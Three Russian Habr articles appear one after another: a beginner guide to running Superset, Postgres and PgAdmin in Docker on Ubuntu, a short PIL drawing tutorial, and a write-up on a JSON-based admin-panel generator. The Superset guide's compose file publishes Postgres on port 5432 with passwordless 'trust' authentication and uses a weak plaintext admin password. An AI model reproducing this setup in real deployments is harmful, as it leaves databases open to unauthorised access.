С помощью знаний, собранных по крупицам по интернету и из советов коллег и товарищей получилось сравнительно небольшими усилиями решить задачу и поднять приложение Superset в базовом варианте. Однако этот вариант легко масштабируемый, и по возможности я старался избегать все костыли быстрого освоения (о которых мы потом с сожалением вспоминаем при использовании созданного). И оглянувшись назад после того, как все получилось, я понял, что собрав все полученные знания воедино, можно создать отличное руководство для тех, кто в дальнейшем столкнется с похожей необходимостью.
Итак, приступим. Гайд получился, по сути, от новичка для новичков, так что подсказки и предложения только приветствуются :)
Начальные условия
-----------------
Чистая Ubuntu 18.04. На ней может, конечно, уже быть установлен docker и docker-compose, но для тех, у кого этих утилит не установлено, далее будет приведен раздел с инструкцией по установке.
Краткий план действий
---------------------
* Устанавливаем docker и docker-compose
* Устанавливаем докер-образ Superset
* Проверяем работу Superset
* Устанавливаем Postgres и PgAdmin
* Проверяем работу Postgres через PgAdmin
* Подключаем Postgres к Superset
Устанавливаем docker и docker-compose
-------------------------------------
В первую очередь - что такое docker? Мы тут вообще-то Superset пришли устанавливать, ну и кажется еще Postgres. Однако без docker ничего не получится (точнее, будет очень неправильно, немасштабируемо и так далее).
За подробными разъяснениями рекомендую обратиться к следующим материалам: ["Docker. Зачем и как"](https://habr.com/ru/post/309556/), ["Понимая Docker"](https://habr.com/ru/post/253877/), ["VM или Docker?"](https://habr.com/ru/post/474068/), а также ["Шпаргалка с командами Docker"](https://habr.com/ru/company/flant/blog/336654/). Говоря коротко, можно отметить, что docker-контейнер суть та же виртуальная машина, но в немного урезанном варианте и без ее недостатков. Во время работы он использует исключительно оперативную память, и является для основной операционной системы просто очередным отдельным программным процессом. Это позволяет, например, динамически с другими процессами (в том числе с другими docker-контейнерами) пользоваться оперативной памятью основной машины.
Но мы здесь за практическими штуками, так что перейдем к вопросу его установки. Официальные ресурсы с инструкциями по [установке docker](https://docs.docker.com/engine/install/ubuntu/) и [установке docker-compose](https://docs.docker.com/compose/install/). Далее в главе идут выдержки оттуда.
```
$ sudo apt-get update
```
```
$ sudo apt-get install \
ca-certificates \
curl \
gnupg \
lsb-release
```
```
$ sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
```
После запуска команды `curl` система может спросить, перезаписать ли существующий файл `docker-archive-keyring.gpg`. В таком случае этот шаг можно и пропустить, но я бы рекомендовал все таки перезаписать на случай каких-либо обновлений.
```
$ echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
```
```
$ sudo apt-get update
```
```
$ sudo apt-get install docker-ce docker-ce-cli containerd.io
```
На этом установка docker завершена)Проверим, что все установилось, вызвав информацию о версии программы.
```
$ sudo docker --version
```
Что такое docker-compose? Это утилита для управления группами docker-контейнеров. Открывает возможности по гибко настраиваемому масштабированию этих групп, удобной сепарации контейнеров на сетевом уровне и цетрализации управляющих механизмов. Ну а главное - в умелых руках парой команд docker-compose позволяет развернуть большие и сложные приложения всего парой команд.
Подробнее о docker-compose вот в этой хорошей статье ["Руководство по Docker Compose для начинающих"](https://habr.com/ru/company/ruvds/blog/450312/).
```
$ sudo curl -L "https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
```
```
$ sudo chmod +x /usr/local/bin/docker-compose
```
Обошлись без стен логовИ снова проверим, что все хорошо с помощью команды вывода версии (порой эта команда отрабатывает не сразу, но такое в порядке вещей).
```
$ sudo docker-compose --version
```
Вуаля! Можем работать.
Устанавливаем докер-образ Superset
----------------------------------
Docker имеет развитое сообщество и удобный интерфейс работы с продуктами деятельности этого сообщества. Простые пользователи и большие компании, такие как Apache, выкладывают там образы своих контейнеров, скачать которые можно одной командой. В частности, давайте скачаем образ docker-контейнера с Superset. Вот [страница этого образа](https://hub.docker.com/r/apache/superset). Скачать его можно следующей командой:
```
$ sudo docker pull apache/superset
```
Псле красивой анимированной детализации процесса установки осталось только проверить, что образ контейнера присутсвует в системе. Да, и это все. До чего дошел прогресс)
```
$ sudo docker images
```
Проверяем работу Superset
-------------------------
Контейнер надо запустить. Запущенный контейнер в дальнейшем можно будет остановить. И важно не путать это действие с, скажем так, выключением контейнера и с удалением образа. Для работы нам будет достаточно только остановки, которую рассмотрим в конце статьи. Сейчас вашему вниманию представляется команда запуска docker-контейнера с Superset:
```
$ sudo docker run -d -p 8080:8088 --name superset apache/superset;
```
Флаг `-d` (detach) означает отключение контейнера от консоли. Флаг `-p` отвечает за проброс трафика между портами контейнера и указанными портами основной машины. А остальное, думаю, понятно).
Хорошим инструментом для мониторинга сети является утилита netstat. На чистой Ubuntu ее нет, так что установим ее такой командой:
```
$ sudo apt-get install net-tools
```
Да, помимо netstat, были установлены и другие программы, но они не нужны сейчас.
Теперь проверим, запустился ли контейнер.
```
$ sudo netstat -tupln
```
Эта команда покажет состояние портов. Описание флагов отразит суть отображаемой информации.
`-t` - (или `--tcp`) показать TCP порты;
`-u` - (или `--udp`) показать UDP порты;
`-l` - (или `--listening`) посмотреть только прослушиваемые порты;
`-p` - (или `--program`) показать имя программы и ее PID;
`-n` - (или `--numeric`) показывать ip адреса в числовом виде.
А следующая - какие контейнеры сейчас активны.
```
$ sudo docker ps
```
По итогу необходимо удостовериться, что порт `8080` занят процессом `docker-proxy` и прослушивается, а также в том, что присутствует активный контейнер с названием `apache/superset`.
Если у вас все так же, как на изображении, то идем дальше - то есть вводим IP адрес своей машины и открываем в браузере наш порт с Superset. Узнать свой IP можно, например, вот так:
```
$ wget -qO- eth0.me
```
У вас откроется данная страница:
И дальше пройти не получится, ведь пользователей мы никаих не создавали, к тому же в самом Superset никаких данных нет. Чтобы это исправить, нам надо все это настроить и создать.
```
$ sudo docker exec -it superset superset fab create-admin \
--username admin \
--firstname Superset \
--lastname Admin \
--email admin@admin.com \
--password postgres123; \
sudo docker exec -it superset superset db upgrade; \
sudo docker exec -it superset superset load_examples; \
sudo docker exec -it superset superset init;
```
Все команды собраны в одну так, чтобы для их исполнения можно было ограничиться однократным нажатием на Enter. Обратите внимание, что в команде указано в качестве пароля.
Команда `docker exec` позволяет нам передавать внутрь контейнера команды, как если бы мы заходили в виртуальную машину и вводили команды в консоль. Предназначение остальных команд, думаю, понятно из текста.
Дальше полетит многобуков, и в процессе (при наличии зеленого шрифта на темном фоне, как у меня) можно почувствовать себя настоящим hackerman'ом из фильмов.
Зайдем под админом. И если вы видите то же, что и скриншоте ниже - отлично, идем дальше!
Устанавливаем Postgres и PgAdmin
--------------------------------
Здесь было бы сложно (хотя кому как), если бы не было этой статьи.
Posgtres - база данных, все это знают. Сам по себе сервер с СУБД может управляться единственным образом путем подключения приложения к нему. И с одной стороны, мы подключимся нашим сервером Superset внутри docker-контейнера к Postgres, что еще надо то. Но настраивать и следить за БД так не получится. Для этого для ~~кожанных мешков~~ людей предусмотрен специальный сервер-интерфейс СУБД. Соответственно, под этот сервер также необходим docker-контейнер. Подробнее PgAdmin будет рассмотрен дальше.
И вот тут мы начинаем говорить о контейнерах, работающих в паре. Здесь отлично подойдет docker-compose. Для запуска композиций наиболее удобно применять так называемые docker-compose-файлы. В них прописываются все настройки запускаемых контейнеров, а дальше все включается одной командой. По сути, мы таким уже пользовались, когда создавали образ контейнера для Superset. Но файл мы скачали из интернета, а сейчас пишем вручную.
Содержание файла:
```
version: '3.3'
services:
postgres:
image: library/postgres:13
volumes:
- postgres-data:/var/lib/postgresql/data
environment:
POSTGRES_USER: postgres
POSTGRES_HOST_AUTH_METHOD: trust
ports:
- '5432:5432'
restart: always
networks:
- pg-net
pgadmin:
image: dpage/pgadmin4
volumes:
- pgadmin-data:/var/lib/pgadmin
ports:
- '5050:80'
environment:
PGADMIN_DEFAULT_EMAIL: postgres@pg.com
PGADMIN_DEFAULT_PASSWORD: xxx
depends_on:
- postgres
networks:
- pg-net
volumes:
postgres-data:
pgadmin-data:
networks:
pg-net:
```
Строка`POSTGRES_HOST_AUTH_METHOD: trust` устанавливает беспарольный вход в БД. Можно использовать и вход по паролю. Для этого необходимо написать `POSTGRES_PASSWORD: xxx`.
Этот текст можно скопировать, а далее создать файл `docker-compose.yml`, написав:
```
$ nano docker-compose.yml
```
Далее вставляем текст и выходим нажатием `Ctrl+X -> Y -> Enter`. После этого в директории с созданным файлом поднимаем сервера postgres и pgadmin с помощью команды
```
$ sudo docker-compose up -d
```
`-d`, как и в прошлый раз, значит, что STDIN, STDOUT и STDERR для контейнера отключены.
Проверяем работу Postgres через PgAdmin
---------------------------------------
Для начала заходим на порт `5050`. На открывшейся странице вводим почту и пароль от pgadmin из yml-файла.
Отлично, мы в панели администратора. Регистрируем новый сервер (подключаемся к нему, иными словами). Нужная кнопка на картинке ниже.
Открыватеся список полей для заполнения. Обязательных два. Первое - `name` на вкладке `General` заполняем, как нравится. Исключательно косметическое действие в данный момент. Второй параметр важный - `Host name/address` на вкладке `Connection`, здесь надо вписать адрес сервера с СУБД. Вписываем `postgres`. Проверяем, что `port` совпадает с тем, что был указан в графе ports: в конфиг-файле `docker-compose.yml` (то есть `5432`). Если да, то жмём `Save` и любуемся красивыми графиками.
Для надежности можно еще раз посмотреть на открытые порты с помощью `netstat -tulpn`.
Подключаем Postgres к Superset
------------------------------
В свое время на этом этапе я провел очень много времени, и, когда я нашел решение, оно мне даже показалось излишне простым. Сейчас, перечитывая документацию, я понял, что все лежало на поверхности. А именно, в руководстве ["Installing Superset Locally Using Docker Compose" в последней главе](https://superset.apache.org/docs/installation/installing-superset-using-docker-compose/) указаны все необходимые шаги для подключения локальной БД к Superset.
Отдельно оговорюсь, что созданная и подключенная в качестве примера к Superset БД слишком уж далека от характеристики "гибкая", так как в нее даже нельзя данные свои загрузить. Поэтому о ней мы забудем, а подключим лучше свой Postgres.
Итак, сделать надо следующее.
С помощью Connect database (локация кнопки на скриншоте) мы окрываем меню с настройками нового подключения. В появившемся окне выбираем PostgreSQL.
Далее вводим в `HOST` адрес `172.17.0.1`, `PORT` - `5432`, `DATABASE NAME` - как указали в конфиге, то есть `postgres`. Если у вас не появилось под вышеперчисенными полями никаких красных подписей - полдела сделано, осталась буквально пара мелочей.
В частности, нажимаем `CONNECT`. После чего перед вами появляется меню дополнительных настроек. Интересна нам только галочка, находящаяся в разделе `Security` под названием `Allow data upload`. Её надо включить. Именно благодаря этому вы сможете в дальнейшем загрузить, например, csv-файл со своим данными. И теперь `FINISH`.
Проверяем, что все есть - для этого захдим в `Data -> Databases` и если видим строчку с нашей БД, то ~~открываем шампанское~~ можно откинуться в кресле и выдохнуть. Все готово, Superset с Postgres работают.
Дальнейшая эксплуатация
-----------------------
Любой уважающий себя технический специалист знает, что документация по эксплуатации любого изделия должна включать в себя описание таких этапов жизненного цикла, как поддержка функционирования изделия и его вывод из эксплуатации. Так как же работать дальше с нашими контейнерами?
Когда мы хотим завершить работу и, к примеру, погасить нашу рабочую машину, необходимо остановить контейнеры. Композиция postgres + pgadmin останавливается следующим образом (необходимо находится в директории с `docker-compose.yml`):
```
$ sudo docker-compose down
```
Superset у нас работает, как отдельный контейнер, поэтому команда другая:
```
$ sudo docker container stop superset
```
А для возвращения к работе с приложениями их необходимо вывести из состония "сна" и поднять снова. Это делается вот так:
```
$ sudo docker-compose up -d
```
```
$ sudo docker container start superset
```
На этом действительно можно закончить. Кажется, статья достаточно полно охватывает все нюансы и детали и я надеюсь, поможет людям)
---
Вот и все. Желаю вам жить-поживать, да свой ~~Maven~~ Superset наглаживать. | https://habr.com/ru/post/661159/ | null | ru | null |
# Простейшее рисование с помощью PIL
Недавно потребовалось мне создавать картинку на лету. Решил спользовать библиотеку для питона PIL. Она поддерживает кучу форматов, а также множество цветовых систем (RGB, RGBA и более простые). Итак, рассмотрим простейшее, как создать рисунок и что-либо на нем нарисовать.
Для начала, подключим нужные модули.
`from PIL import Image, ImageDraw`
Модуль Image управляет непосредственно источником изображения, позволяет создавать, сохранять, октрывать рисунок. А ImageDraw, отвечает непосредственно за рисование геометрических объектов.
Теперь создадим новый рисунок:
`image = Image.new("RGBA", (320,320), (0,0,0,0))`
Здесь, первый параметр это тип картинки, может быть: 1 (черно-белый), L (монохромный, оттенки серого), RGB, RGBA (RGB с альфа каналом), CMYK, YCbCr, I (32 bit Integer pixels), F (32 bit Float pixels).
Второй параметр, это объект типа tuple задающий размер изображения.
Третий параметр, это непосредственно цвет, т.к. у нас RGBA, то запись (0,0,0,0) соответствует полной прозрачности.
После этого, чтобы нарисовать на нем что-либо, требуется создать объект ImageDraw и передать ему наш рисунок:
`draw = ImageDraw.Draw(image)`
Попробуем нарисовать красный эллипс:
`draw. ellipse((10,10,300,300), fill="red", outline="red")`
Здесь мы рисуем эллипс, с начальными координатами: 10,10, и конечными: 300,300. Также, параметр fill задает цвет заливки, а outline — цвет контура. Помимо кодовых названий, можно использовать HTML запись, либо RGB(A) в виде tuple элемента.
Из доступных для рисования фигур доступны: кривая, линия, текст, вырезаный эллипс, точка, полигон.
После этого удалим draw и сохраним рисунок:
`del draw
image.save("/path/to/save/test.png", "PNG")`
После этого мы получи .png файл, в котором будет красный круг на прозрачном фоне:
Вот, думаю для начального понимания поможет кому-нибудь.
Нашел краткую [документацию](http://www.it4it.ru/wp-content/uploads/2009/01/pil.pdf) по официальной документации. (залил на свой сайт)
Официальный [сайт](http://www.pythonware.com/library/pil/handbook/index.htm) с документацией | https://habr.com/ru/post/49361/ | null | ru | null |
# Генератор админок
**Кратко суть проблемы:** нужно было много админок, написал генератор админок.
| | |
| --- | --- |
| **Как работает:*** описали сущности в JSON;
* сгенерировали схему БД (PostgreSQL);
* сгенерировали процедуры для БД;
* сгенерировали сервер (NodeJS или PHP);
* сгенерировали админку (HTML файл);
* накатили, задеплоили, скопировали все это;
* можно приступать к работе;
| **Содержание:**
* как дошёл до этого;
* почему не взял готовое решение;
* что получилось;
* что НЕ получилось;
* как оно работает;
* про UX;
|
С чего началось
---------------
Дело в том, что мне постоянно приходилось верстать админки для разных сервисов. Новый проект, новый сервер, новая админка. Иногда они писались с нуля, иногда получались копированием. Где-то на 13й админке я приуныл. Захотелось внести разнообразия. Поэтому новая админка для отдела статистики была сверстана в стиле 98 винды. Далее, в срочном порядке, методом «почкования» была получена админка отдела лицензирования, а вслед за ней — админка нового игрового портала.
К этому моменту стало ясно, что некоторые компоненты одинаковы во всех проектах. Да и примеры использования также повторяются:
* вывести список;
* создать / редактировать / удалить элемент;
* назначить связь один ко многим или многие ко многим;
Далее был написан генератор, который по шаблонам создавал основную базу кода. Понятно, что все «хотелки» приходилось дописывать вручную, но это уже был большой шаг вперед. Ещё через три админки стало ясно, что генерировать нужно не только верстку, но, желательно, и API сервера и схему БД. Это нужно было не во всех проектах, но в мимолётных «чик чик и в продакшен» было самое то. Т.к. разные ветки админок получали фиксы разных багов, к концу лета стало очевидно, что было бы очень хорошо слить все фиксы в одну ветку и качественно обновить генератор. Именно этим я и стал заниматься по вечерам и выходным.
*Масштабируемость уровня copy/past админок генератора первой версии*
Есть ли готовые админки и генераторы админок?
---------------------------------------------
[Да](https://habrahabr.ru/post/102401/), тысячи [их](https://toster.ru/q/12337). Что с ними не так:
* **Заточенность под конкретный язык или фреймворк**Например, если вы используете Laravel (PHP-фреймворк), можете взять SleepingOwl. Но если у вас бекенд на Java, то без PHP её никак не прикрутить.
* **Монолитность**Монолитность вытекает из предыдущего пункта. С одной стороны может быть очень крутая система, которая динамически меняет админку, в зависимости от схемы БД. С другой стороны, вы не можете эту связь убрать. Если вам нужна только верстка — будет больно. Так же будет больно, когда вы захотите подключить админку к вашей системе авторизации (во многих больших конторах есть единые системы авторизации, которые управляют доступом во все системы всех пользователей из одной точки управления).
* **Заточенность под сайты**Наверное, половина генераторов админок собирают различные вариации CMS-систем. Некоторые из них очень крутые, но они принципиально не годятся для управления контентом. Если загнать в них базу книг, то вот так просто взять и раскидать 100 книг по категориям будет очень больно.
* **Трудность кастомизации**Ну это и так понятно. «Нельзя сделать универсальную админку, каждый проект индивидуален» (с).
### Чего очень сильно не хватает в админках:
* Возможность создавать связь «многие ко многим» не переключаясь в режим редактирование контента. Пример: есть список из 100 игр, нужно быстро проставить им теги. В большинстве админок нужно открыть «редактирование игры», проставить тег, вернуться в «список игр».
* Возможность пакетного проставления связей, удаления или редактирования. Пример: выбрать 15 баннеров и сразу назначить им другой канал продвижения.
* Отсутствие логирования. Пример: смотрим контент и хотим тут же узнать, кто и когда его отредактировал, и что конкретно изменил.
* Возможность сделать дубликат объекта и всех его записей одним кликом. Пример: сделать копию рекламной компании со всеми её баннерами и площадками.
* Возможность импорта / экспорта данных в эксель. Пример: менеджерам нужно разово сверить в Excel контент и продажи, или отправить список чего-либо партнёрам.
* Сложные фильтры поиска (по группе свойств и с исключением). Пример: выбрать все книги из категорий «Классика» и «Романы», кроме тех, чей id: 20, 30, 65, и тех, кто отмечен тегом «Хит продаж». В SQL мы такое с ходу сделаем, а у манагеров в адмике фильтры, как правило, такие фокусы сделать не дадут.
Исправлением этих проблем я и решил заняться. Понятно, что на самом деле, если ставить вопрос о кодо-генерации, то «хотелок» становится ещё больше. Тут нужен и вывод статистики, который тянет за собой анализ данных, и инструменты добавления «бизнес логики» для обработки влияния данных друг на друга и т.п. Тема очень обширна, но в виду ограниченности моей мотивации и человеко-часов разработки, все хотелки не реализовать. Пока хотелось бы закончить хотя бы минимальный базовый функционал.
Что конкретно можно сделать?
----------------------------
Забегая вперёд, логин/пароль: *demodemo / qwerty123456* и права только на просмотр выставил (вдруг кто поломает и демки станут бесполезны раньше времени)
##### **Прайс**
Начнем с простого. Тут один парень радио-деталями оптом торгует. Нужно срочно прайс на сайте вывести с поиском. Всяких 1С-склад у него нет. Вжух, вывели: <https://goo.gl/OIPQXv>
##### **Пародию на JIRA**
По традиции JavaScript разработчикам TODO лист полагается писать. Давайте напишем TODO лист группы компаний. Чтобы там были дочерние компании, подразделения, отделы. А внутри отделов уже задачи. Задачи раскиданы по работникам. У каждого работника два листа: текущие задачи и очередь задач на будущее. Ахалай-махалай, готово: <https://goo.gl/6UWqRn> *(demodemo / qwerty123456)*
Да, конечно. Ещё нужны комментарии к задачам и чтобы файлы можно было прикреплять. Это минимальный набор. Но эта админка сгенерирована на прошлой версии, которая ещё этого не поддерживала. В новой — уже исправлено.
##### **CRM**
Хотим свою CRM. Там будут компании, их офисы, и ключевые лица, раскиданные по офисам. Мы можем посмотреть описание компании или досье на каждое ключевое лицо, с которым непосредственно ведет работу наш менеджер (типа: карточка клиента). Далее нужна возможность создавать «событие», связанное с ключевым лицом (например: звонок, письмо, встреча). Ещё пусть будут отдельные списки: то что мы должны сейчас сделать, то что мы ждем от клиента, список косяков в наших взаимоотношениях. Эм… слабо всего семь объектов. Давайте ещё добавим отдельными сущностями разные типы клиентов (частны, юр. лица и т.д.) и разделение по профилю (перевозчики, тур операторы, отели и т.д.). Чик-чик, задеплоили: <https://goo.gl/OcJU8g> *(demodemo / qwerty123456)*
Наверное, нужны ещё всякие отчеты, счета и склад товара, но с одной стороны я даже не представляю как работает бухгалтерия и склад, с другой стороны, возможно им стоит сделать отдельную админку, т.к. это другие отделы с другими бизнес процессами.
Да, конечно, нужна ещё интеграция с АТС, рекламными площадками, и электро-почтой. Но это уже не «чик-чик демка» за 30 минут.
### JSON на входе — редактор НСИ на выходе
В общем, суть такая — это редакторы номенклатурно-справочной информации (НСИ). Чем ближе ваш проект к редактору НСИ, тем больше вы получите «из коробки». Визуализацию данных, аналитику и логику пока придётся писать самим.
Но даже так можно набросать аля прототим ERP-системы. Собственно осознание этого очень сильно мотивировало к дальнейшим действиям. Далее путем поиска и просмотра разных демок стало понятно, что:
* многие ERP системы уровня «стартап», не сильно превосходят по функционалу «чик-чик демку». Но из-за кодо-генерации «чик-чик демка» может сильно превзойти их.
* многие ERP системы строятся по такому же принципу кода-генерации и развертыванию из кучи конфигов. Например, была такая штука «Эталон», которая, судя по описаниям, была один в один как этот велосипед, только под DOS. Опять же — тысячи их.
### Зачем это вам?
Предположим, вы пишите на Java, и вас постоянно мучают Ангуляром. Тут вы сможете сгенерировать админку и не лезть во фронт. Ну или другой вариант — у вас по архитектуре надо создать много таблиц (да да да, я знаю что вы, Java-мены, можете схему из класса накатывать и наоборот — класс генерировать по схеме БД), но вдруг не все могут. Или схему нужно будет накатывать архитектору, который не пишет на Java, а только с базой работает. Или вы вообще чистый фронт и не можете осилить реляционные БД — тут, по крайней мере, констрейны будут и индексы хоть какие-нибудь (хотя понятно, что схему БД запорите своей «денормализацией», но вдруг). Ну или у вас руки горят от желания пилить стартап уровня «рокет сайнс», и нет желания заниматься бытовухой по созданию инфраструктуры проекта.
### Ну для домашних проектов из трех таблиц сойдет. У нас бООООльшой проект, совсем другая история.
Нет :) Т.к. кодо-генерация и состав админки чуть менее чем полностью из конфигов, то можно развернуть проект из 1000 объект. Другой вопрос — зачем? Обычно больше 20 сущностей в одном проекте — боль (тут будет уже от 40 до 100 таблиц в БД). Поэтому большие проекты делят на микросервисы, а микросервис — это уже в районе 100 таблиц.
Плюс, мы можем задать отдельные настройки подключения к БД не только для каждой сущности, но и для её логов. Следовательно, «из коробки» мы можем писать логи в отдельную базу и оперировать сущностями из разных БД в одной админке.
Плюс, авторизация изначально сделана отдельным модулем, как раз из-за того, что админки собираются на конвейере и есть отдельная система управления доступом (привет любителям ЕСИА, ОИБ`у, Sonat`е, %ваша\_система\_управления\_доступом%).
### Немного о том, как это работает и сколько весит
Для начала нам нужно описать все сущности и их связи в виде JSON`а. Это один из самых трудных этапов.
**Как-то так**
```
{
"objects": [
{
"id": "distributionChannel",
"name": {
"logic": "DistributionChannel",
"logicSmall": "distributionChannel",
"layout": "distribution_channel"
},
"properties": {
"create": {
"name": { "tag": "input", "type": "string", "min": 1, "max": 50 },
"description": { "tag": "textarea", "type": "string", "min": 1, "max": 500 }
},
"update": {
"name": { "tag": "input", "type": "string", "min": 1, "max": 50 },
"description": { "tag": "textarea", "type": "string", "min": 1, "max": 500 }
},
"search": {}
},
"visualization": {
"main": {
"name": { "type": "string", "min": 0, "max": 50 }
},
"history": {
"name": { "type": "string", "min": 0, "max": 50 }
}
}
},
...
```
Далее запускаем ноду и создаем более подробные конфиги
`node config`
**Получится несколько больших портянок**
```
{
"objects": [
{
"id": "distributionChannel",
"name": {
"logic": "DistributionChannel",
"logicSmall": "distributionChannel",
"layout": "distribution_channel"
},
"aside": [
{
"id": "create",
"title": "Создание DistributionChannel",
"buttons": [
{ "tag":"popup_button", "icon": "menu", "value":"Меню", "id":"distribution_channel_aside_create_button_popup_menu" },
{ "tag":"popup_button", "icon": "search", "value":"Поиск", "id":"distribution_channel_aside_create_button_popup_search" }
],
"content": [
{ "tag":"input", "type":"string", "min":1, "max":50, "id":"distribution_channel_aside_create_name" },
{ "tag":"textarea", "type":"string", "min":1, "max":500, "id":"distribution_channel_aside_create_description" },
{ "tag":"button", "title":"Создать", "id":"distribution_channel_aside_create_button_create" }
]
}
```
Можем переставить поля, что-то добавить или вырезать. Далее генерируем уже код (который в основной своей массе тоже файлы конфигов)
```
node sql
node nodejs
node admin
```
**Пример одного из сотен созданных JS файлов**
```
(function () {
"use strict";
function ToggleStyleContentSearchConfig() {
return {
common: [
{ id: "content__search__processing", className: "hidden" },
{ id: "content__search__not_found", className: "hidden" },
{ id: "content__search__result", className: "hidden" }
],
processing: [
{ id: "content__search__processing", className: "loading__icon search_status__loading" }
],
notFound: [
{ id: "content__search__not_found", className: "search_status__message" }
],
result: [
{ id: "content__search__result", className: "search__container__result" }
]
};
}
module.exports = ToggleStyleContentSearchConfig;
})();
```
Когда файлы готовы, выполняем сгенерированный SQL (для создания схемы в БД). Копируем файлы сервера в отдельную папку. Деплоим. Осталось собрать статику
```
gulp
gulp easy
```
Статика соберется в один HTML файл, который нужно будет закинуть на сервер. Если все прошло успешно, можно попробовать пережать статику (-40% без или -8% с gzip)
```
gulp hard
```
**Немного тех. характеристик + принципы разработки, состояние проекта на текущий момент, планы на будущее**Немного цифр:
* **База данных** (сейчас PostgreSQL, планирую добавить MySQL)
1 сущность = (1 таблица обьектов + таблица логов) + n \* (таблица связи многие ко многим + таблица логов);
1 сущность = 5 процедур для объекта (создание + редактирование + удаление + поиск + получение одного объекта) + 4 процедуры логов (создание + удаление + поиск + получение одного лога) + n \* процедуры для связей (создание + удаление + поиск) + n \* логи для связей (создание + удаление + поиск);
Итого: (2 + n\*2) таблиц и (9 + (n\*3\*3)) процедур, где n — число связей «многие ко многим»
* **Сервер** (сейчас NodeJS, планирую добавить PHP)
Всего шесть файлов, т.к. все удачно уложилось в экземпляр одного класса с конфигами.
* **Клиент** (JS ванила)
1 сущность = ~10 файлов HTML + ~50 файлов JS + n \* (~25 файлов для связи многие ко многим)
**Итого:** Модель из 12 сущностей будет иметь примерно 50 таблиц, 160 процедур, 1000 файлов статики (HTML+CSS+JS). Статика после сборки и сжатия будет весить ~1мб (всё в одном HTML файле). Есть ещё «чудо-плагин», которым можно дожать после гугл-компилера до ~600кб, а на клиент после gzip прилетит ~85кб ~~заменяем gzip на brotli, и дожимаем до 79кб~~. Большая часть файлов проекта (от 85%) — это однотипные конфиги аля JSON в обёртке. Поэтому проект можно очень гибко настроить после генерации файлов, и очень сильно сжать на сборке~~, и добавлять функионал copy/past`ом с поиском и заменой по папке~~.
### Принципы, которые легли в основу велосипеда:
* Верстка — это один HTML файл, не связанный с сервером. Единственное, что их связывает — формат AJAX-запросов и ответов. Хотите свой бекенд — смело заменяйте.
* Бекенд не знает структуры БД, но знает названия хранимок и аргументы. Хотите свою схему БД — пишите свою.
* Всё, что может быть описано конфигами — должно быть описано конфигами. Обычно они составляют более 85% файлов проекта (чем больше сущностей, тем больше процент).
* Все файлы и конфиги должны быть разложены так, чтобы новый функционал можно было добавить copy/past`ом нужной папки. Понятно, что что-то все равно придется исправить руками в коде, но чем меньше этих моментов — тем лучше.
**И тут сразу: — Хранимки зло! Только ORM!!!11**На самом деле нет. Этот аргумент уместен, если хранить бизнес логику в хранимках — тогда да. Но тут нет бизнес логики. Вся суть хранимок: отдать, создать, или изменить запись, без какой-либо логики. Ну и логирование не через тригеры, а только по запросу сервером соответствующей процедуры. Возникает вопрос: «А что делать, если мы захотим БД сменить? Хранимки придется переписать, а если бы через ORM — то нет.» Ну лично я, и никто из моих знакомых, не сталкивался с тем, что проект на ходу БД меняет. А если у вас возникнет такая ситуация, то, скорее всего, «переписать десять шаблонов генерации хранимок на другое подмножество языка SQL» будет самой меньшей проблемой.
### Состояние проекта на текущий момент:
* в сентябре практически с нуля пришлось все переделать. Зато поиск стал лучше, появились логи объектов, дизайн и т.п.
* в ноябре начали появляться фичи и первые два сервиса с новой базой. Режим для левшей, смена позиции, лог связей, пакетная обработка и т.п.
* в декабре пришлось переписать сервер, базу и поставить на раскорячку фронт. Думал, что до конца декабря успею собрать стабильную версию, но не успел. Тут уже общение с базой стало строго через процедуры, поиск по группам, поиск с исключениям, возможность добавлять комментарии и т.п.
**Ну или как-то так****Реализовано:**
* создание/редактирование/удаление сущности;
* поиск с фильтрами, сортировкой и постраничной выдачей;
* создание/редактирование простой связи двух сущностей;
* возможность задавать/менять позицию;
* логирование создания/редактирования сущности;
* логирование создания/редактирования простой связи двух сущностей;
* просмотр логов;
* генерация кастомных селектов (список значений которых зашивается, а не подгружается);
* пакетное добавление/удаление связи (многие ко многим) для сущностей;
* симлинк на поле, чтобы пропустить его создание (для дата-биндинга, пример: одно поле партнёр, на все сущности в смалл панели). referenceElementId;
* генерация независимых списков сущностей;
* возможность менять размер рабочей зоны;
* поиск по списку id объектов;
* автоподстройка количества строк при поиске;
* подсветка поискового запроса в результатах поиска;
* режим отображения «для левшей»;
* вставка поиска (создание/редактирование) в случайное место. Например: коментарии к таске;
**Мелкие баги:**
* ошибка поиска: фильтр ref\_channel\_id. Нужно генерировать LEFT JOIN запросы для таких поисков и фильтров + доп. поля в форме поиска;
* починить вывод названия объектов в поиске для ref\_ связей (пример lock, столбец cost);
* отображение детализации ошибок сервера;
* зачистка файлов + новая структура проекта. Нужно сделать более чистой финальную сборку сорцов;
* исправить поведение пакетного выделения объектов;
* починить расчет количества строка поиска для экрана;
* типизация данных в запросах;
* проверка файла перед перезаписью всегда пишет ошибку в консоль (которой по сути нет). Это напрягает, но не критично;
**Не реализованный функционал:**
* логирование смены позиции;
* отображение/редактирование вложенных в сущности массивов (например: список переводов, вместо названия или список платежек, вместо метода оплаты);
* определение порядка загрузки сущностей;
* определение связанных полей (автопереключение всех, при изменение одного. Например: смена партнёра или канала продвижения);
* загрузка файлов «на лету»;
* загрузка файлов «по списку»;
* выгрузить результаты поиска в CSV (экспорт);
* загрузить результаты из CSV (импорт);
* копирование реверсивное/не реверсивное;
* добавить восстановление состояний по логам (когда открыли детализацию состояния объекта);
* пакетное удаление сущностей;
* описание и вынос post-compressor`а в отдельный проект;
* удобный генератор для конфига в виде отдельного приложения;
* поправить логирование истории объектов. Поле is\_remove сделать change\_type (0 — создали, 1 — отредактировали, 2 — удалили)
* локализация;
* адаптация под мобильники/планшеты;
* создание клиентской витрины;
* фильтры поиска как массив, а не единственное значение (множественные «включающие» и «исключающие» выборки);
* возможность выбора экрана отображения (main/aside) для операций каждого типа;
* вложенные папки через поле parent\_id. Есть поле — есть папка, есть изменение фильтра поиска;
* управление с клавиатуры;
* переделать экран приветствия. Вывести на него граф связи сущностей проекта (как в админке банеров);
* написать СЕО текст;
* подключить плагин пагинации скролом;
* продумать систему авторизации для сторонних проектов. Переделать модуль авторизации (убрать Draft User);
**Не реализованный функционал по серверу:**
* комментарии к таблицам в БД;
